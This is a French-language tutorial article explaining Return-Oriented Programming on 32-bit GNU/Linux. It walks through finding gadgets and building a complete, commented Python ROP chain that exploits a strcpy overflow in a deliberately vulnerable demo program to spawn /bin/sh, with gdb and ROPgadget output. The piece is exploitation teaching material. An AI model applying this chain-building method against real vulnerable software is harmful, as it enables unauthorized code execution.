# Return-Oriented Programmaming (ROP) sur GNU/Linux

description : Article sur l'exploitation d'un Return-Oriented Programmaming (ROP) sur GNU/Linux
categories : Hacking;
tags : Linux; C; Asm;

Exploitation d'un Return-Oriented Programmaming sur Linux

Introduction

Le ROP est une technique d'exploitation sans injection de code.

Les exemples de cet article ont été réalisés sur : Debian GNU/Linux 10 (buster) en i686

Concept d'un ROP

Le concept d'un ROP : il s'agit d'utiliser des petites séquences d'instructions déjà disponibles dans le binaire ou dans les librairies qui lui sont linkées. Chaque séquence d'instructions doit se terminer par l'instruction "ret" (0xc3) afin de pouvoir exécuter l'intégralité de ces séquences. C'est pourquoi ce type d'exploitation est appelé "Return-Oriented".

En programmation ordinaire, le pointeur d'instruction, soit le registre eip, détermine quelle instruction va être récupérée et exécutée. Une fois l'instruction exécutée par le processeur, eip est automatiquement incrémenté et pointe donc sur la prochaine instruction.

En programmation de type ROP, c'est le pointeur de stack, soit le registre esp qui détermine quelle séquence d'instructions va être récupérée et exécutée. Mais contrairement à eip, le registre esp n'est pas automatiquement incrémenté. On ne passe donc pas à la prochaine instruction spontanément, c'est grâce à l'instruction ret que l'on va passer à la séquence d'instructions suivante. Pour rappel, à l'appel de l'instruction ret, le contenu de la stack (soit ici l'adresse de la prochaine séquence d'instructions) est dépilé puis exécuté.

Une séquence d'instructions se terminant par un ret est appelée un "gadget".

Définition d'un gadget

Comme nous venons de le voir, un ROP gadget est une séquence d'instructions se terminant par l'instruction "ret".

Il existe deux types de gadgets :

  • Les intended gadgets

Ce sont les gadgets provenant d'instructions directement fournis par le développeur.

Exemple depuis objdump -d ./vuln :

1
2
8051f60:    31 c0                   xor    eax,eax
8051f62:    c3                      ret

Ici à l'adresse 0x08051f60, nous avons le gadget "xor eax, eax" (31 c0 c3).

  • Les unintended gadgets

Ce sont à l'inverse des gadgets non fournis par le développeur, ils sont donc "involontaires".

Exemple depuis objdump -d ./vuln :

1
2
80b7af3:    8b 44 90 40             mov    eax,DWORD PTR [eax+edx*4+0x40]
80b7af7:    c3                      ret

Ici et "involontairement" nous avons le gadget "inc eax" (40 c3) à l'adresse 0x080b7af6 (0x080b7af3 + 3).

Comment trouver des gadgets

Pour trouver les gadgets disponibles dans un binaire, il faut lire la section .text avec par exemple readelf ou un désassembler pour rechercher toutes les instructions "ret" (0xc3).

Ensuite, pour chaque "ret" trouvé, on regarde en arrière pour savoir si les bytes qui le précèdent forment une ou des séquences d'instructions valides. Une fois tous les gadgets trouvés et notés, il ne reste plus qu'à former notre shellcode.

Pour faciliter la tache, il existe de nombreux outils pour trouver les gadgets disponibles dans un binaire.

Celui que j'utilise est le suivant : ROPgadget de Jonathan Salwan

Exemple d'exploitation

L'exploitation va consister à exécuter 'execve('/bin/sh', 0, 0);' depuis le programme vulnérable suivant :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <string.h>

void foobar(char *s)
{
    char buf[128];

    strcpy(buf, s);
}

int main(int argc, char *argv[])
{
    if (argc < 2)
    {
        fprintf(stderr, "Supply the string in argument\n");
        return 1;
    }

    else foobar(argv[1]);

    return 0;
}

Dans cet exemple, pour avoir plus de code dans la section .text (comme dans le cas d'un vrai programme), je vais le compiler avec l'option -static.

1
gcc -static vuln.c -o vuln

Pour notre shellcode, on doit placer la string "/bin/sh" dans ebx, 0 dans ecx et edx, et le syscall 11 (0xb) dans eax, puis exécuter notre shell grâce à l'instruction int 0x80.

Premièrement, on doit trouver un endroit dans la mémoire où écrire cette string "/bin/sh". Une façon d'y parvenir est d'utiliser le segment de données, autrement dit la section ".data".

Pour la trouver on utilise gdb :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
sysc4ll@rop:~$ gdb -q ./vuln
Reading symbols from ./vuln...(no debugging symbols found)...done.
(gdb) info file
Symbols from "/home/sysc4ll/vuln".
Local exec file:
	`/home/sysc4ll/vuln', file type elf32-i386.
	Entry point: 0x8049950
	0x08048134 - 0x08048154 is .note.ABI-tag
	0x08048154 - 0x08048178 is .note.gnu.build-id
	0x08048178 - 0x080481e8 is .rel.plt
	0x08049000 - 0x08049020 is .init
	0x08049020 - 0x08049090 is .plt
	0x08049090 - 0x080abe41 is .text
	0x080abe50 - 0x080ac9c7 is __libc_freeres_fn
	0x080ac9c8 - 0x080ac9dc is .fini
	0x080ad000 - 0x080c5ac8 is .rodata
	0x080c5ac8 - 0x080d7b14 is .eh_frame
	0x080d7b14 - 0x080d7bbe is .gcc_except_table
	0x080d96a0 - 0x080d96b0 is .tdata
	0x080d96b0 - 0x080d96d0 is .tbss
	0x080d96b0 - 0x080d96b8 is .init_array
	0x080d96b8 - 0x080d96c0 is .fini_array
	0x080d96c0 - 0x080dafd4 is .data.rel.ro
	0x080dafd4 - 0x080daff8 is .got
	0x080db000 - 0x080db044 is .got.plt
	0x080db060 - 0x080dbf80 is .data
	0x080dbf80 - 0x080dbfa4 is __libc_subfreeres
	0x080dbfc0 - 0x080dc314 is __libc_IO_vtables
	0x080dc314 - 0x080dc318 is __libc_atexit
	0x080dc320 - 0x080dd01c is .bss
	0x080dd01c - 0x080dd030 is __libc_freeres_ptrs
(gdb) 

La section .data se trouve donc à l'adresse 0x080db060.

Cherchons maintenant la taille exacte de la chaîne de caractère à donner en argument pour écraser eip et obtenir notre erreur de segmentation.

1
2
3
4
5
6
7
8
$ gdb -q ./vuln
Reading symbols from ./vuln...(no debugging symbols found)...done.
(gdb) r `python -c 'print "a" * 140 + "bcde"'`
Starting program: /home/sysc4ll/vuln `python -c 'print "a" * 140 + "bcde"'`

Program received signal SIGSEGV, Segmentation fault.
0x65646362 in ?? ()
(gdb) 

Le programme plante sur l'adresse 0x65646362 qui correspond dans la table ASCII à : 'e' pour 0x65, à 'd' pour 0x64, à 'c' pour 0x63 et 'b' pour 0x62. 140 est donc la taille de padding exacte à donner au buffer avant de pouvoir écraser notre registre eip.

Pour la suite je vais détailler l'exploit obtenu à partir de l'outil ROPgadget de Jonathan Salwan

Nous voulons éviter les espaces et les nouvelle lignes donc les bytes 0x0A, 0x0D et 0x20

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
$ ROPgadget --binary ./vuln --ropchain --badbytes "0A|0D|20"
(bla bla bla)
(bla bla bla)
ROP chain generation
===========================================================

- Step 1 -- Write-what-where gadgets

	[+] Gadget found: 0x80578ba mov dword ptr [edx], eax ; ret
	[+] Gadget found: 0x806ed2b pop edx ; ret
	[+] Gadget found: 0x8056d94 pop eax ; pop edx ; pop ebx ; ret
	[+] Gadget found: 0x8056e80 xor eax, eax ; ret

- Step 2 -- Init syscall number gadgets

	[+] Gadget found: 0x8056e80 xor eax, eax ; ret
	[+] Gadget found: 0x807c19a inc eax ; ret

- Step 3 -- Init syscall arguments gadgets

	[+] Gadget found: 0x804901e pop ebx ; ret
	[+] Gadget found: 0x806ed52 pop ecx ; pop ebx ; ret
	[+] Gadget found: 0x806ed2b pop edx ; ret

- Step 4 -- Syscall gadget

	[+] Gadget found: 0x804a27a int 0x80

- Step 5 -- Build the ROP chain

	#!/usr/bin/env python2
	# execve generated by ROPgadget

	from struct import pack

	# Padding goes here
	p = ''

	p += pack('<I', 0x0806ed2b) # pop edx ; ret
	p += pack('<I', 0x080db060) # @ .data
	p += pack('<I', 0x08056d94) # pop eax ; pop edx ; pop ebx ; ret
	p += '/bin'
	p += pack('<I', 0x080db060) # padding without overwrite edx
	p += pack('<I', 0x41414141) # padding
	p += pack('<I', 0x080578ba) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x0806ed2b) # pop edx ; ret
	p += pack('<I', 0x080db064) # @ .data + 4
	p += pack('<I', 0x08056d94) # pop eax ; pop edx ; pop ebx ; ret
	p += '//sh'
	p += pack('<I', 0x080db064) # padding without overwrite edx
	p += pack('<I', 0x41414141) # padding
	p += pack('<I', 0x080578ba) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x0806ed2b) # pop edx ; ret
	p += pack('<I', 0x080db068) # @ .data + 8
	p += pack('<I', 0x08056e80) # xor eax, eax ; ret
	p += pack('<I', 0x080578ba) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x0804901e) # pop ebx ; ret
	p += pack('<I', 0x080db060) # @ .data
	p += pack('<I', 0x0806ed52) # pop ecx ; pop ebx ; ret
	p += pack('<I', 0x080db068) # @ .data + 8
	p += pack('<I', 0x080db060) # padding without overwrite ebx
	p += pack('<I', 0x0806ed2b) # pop edx ; ret
	p += pack('<I', 0x080db068) # @ .data + 8
	p += pack('<I', 0x08056e80) # xor eax, eax ; ret
	p += pack('<I', 0x0807c19a) # inc eax ; ret
	p += pack('<I', 0x0807c19a) # inc eax ; ret
	p += pack('<I', 0x0807c19a) # inc eax ; ret
	p += pack('<I', 0x0807c19a) # inc eax ; ret
	p += pack('<I', 0x0807c19a) # inc eax ; ret
	p += pack('<I', 0x0807c19a) # inc eax ; ret
	p += pack('<I', 0x0807c19a) # inc eax ; ret
	p += pack('<I', 0x0807c19a) # inc eax ; ret
	p += pack('<I', 0x0807c19a) # inc eax ; ret
	p += pack('<I', 0x0807c19a) # inc eax ; ret
	p += pack('<I', 0x0807c19a) # inc eax ; ret
	p += pack('<I', 0x0804a27a) # int 0x80

Notre exploit commenté et détaillé pour bien comprendre :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
# coding=utf-8

#!/usr/bin/env python2
# execve generated by ROPgadget

from struct import pack

# Padding goes here
p = 'a'*140

p += pack('<I', 0x0806ed2b) # pop edx ; ret
p += pack('<I', 0x080db060) # @ .data
# Après ces deux lignes le registre edx pointe sur la section .data

p += pack('<I', 0x08056d94) # pop eax ; pop edx ; pop ebx ; ret
p += '/bin'
# Le registre eax contient maintenant la string "/bin"

p += pack('<I', 0x080db060) # padding without overwrite edx
p += pack('<I', 0x41414141) # padding

p += pack('<I', 0x080578ba) # mov dword ptr [edx], eax ; ret
# On place la string "/bin" dans edx, donc dans .data

p += pack('<I', 0x0806ed2b) # pop edx ; ret
p += pack('<I', 0x080db064) # @ .data + 4
# Le registre edx pointe sur .data + 4

p += pack('<I', 0x08056d94) # pop eax ; pop edx ; pop ebx ; ret
p += '//sh'
# Maintenant eax contient la string "//sh".
# Le deuxième "/" est utilisé pour avoir exactement 4 octets dans eax

p += pack('<I', 0x080db064) # padding without overwrite edx
p += pack('<I', 0x41414141) # padding

p += pack('<I', 0x080578ba) # mov dword ptr [edx], eax ; ret
# La section .data contient donc maintenant "/bin//sh"

p += pack('<I', 0x0806ed2b) # pop edx ; ret
p += pack('<I', 0x080db068) # @ .data + 8
# Le registre edx pointe sur .data + 8

p += pack('<I', 0x08056e80) # xor eax, eax ; ret
# Le registre eax est mis à 0

p += pack('<I', 0x080578ba) # mov dword ptr [edx], eax ; ret
# La section .data contient maintenant la string null-terminated "/bin//sh"
# Le '\0` soit le 0 se trouve à @ .data + 8

p += pack('<I', 0x0804901e) # pop ebx ; ret
p += pack('<I', 0x080db060) # @ .data
# Le registre ebx utilisé comme premier argument pour execve contient
# ce que nous venons de placer dans la section .data,
# soit notre string null-terminated "/bin//sh"

p += pack('<I', 0x0806ed52) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080db068) # @ .data + 8
# Le registre ecx utilisé comme deuxième argument contient maintenant 0

p += pack('<I', 0x080db060) # padding without overwrite ebx
p += pack('<I', 0x0806ed2b) # pop edx ; ret
p += pack('<I', 0x080db068) # @ .data + 8
# Meme chose pour le troisieme et dernier argument edx

p += pack('<I', 0x08056e80) # xor eax, eax ; ret
p += pack('<I', 0x0807c19a) # inc eax ; ret
p += pack('<I', 0x0807c19a) # inc eax ; ret
p += pack('<I', 0x0807c19a) # inc eax ; ret
p += pack('<I', 0x0807c19a) # inc eax ; ret
p += pack('<I', 0x0807c19a) # inc eax ; ret
p += pack('<I', 0x0807c19a) # inc eax ; ret
p += pack('<I', 0x0807c19a) # inc eax ; ret
p += pack('<I', 0x0807c19a) # inc eax ; ret
p += pack('<I', 0x0807c19a) # inc eax ; ret
p += pack('<I', 0x0807c19a) # inc eax ; ret
p += pack('<I', 0x0807c19a) # inc eax ; ret
p += pack('<I', 0x0804a27a) # int 0x80
# On set eax à 0 et on l'increment jusqu'a 11 (0xb), notre syscall

print p
# et on termine par afficher le tout

Pour finir, exécutons notre exploit en tant qu'argument à notre programme vulnérable :

1
2
3
4
5
~$ ./vuln $(python2 ./exploit.py)
$ echo "w00t"
w00t
$ exit
~$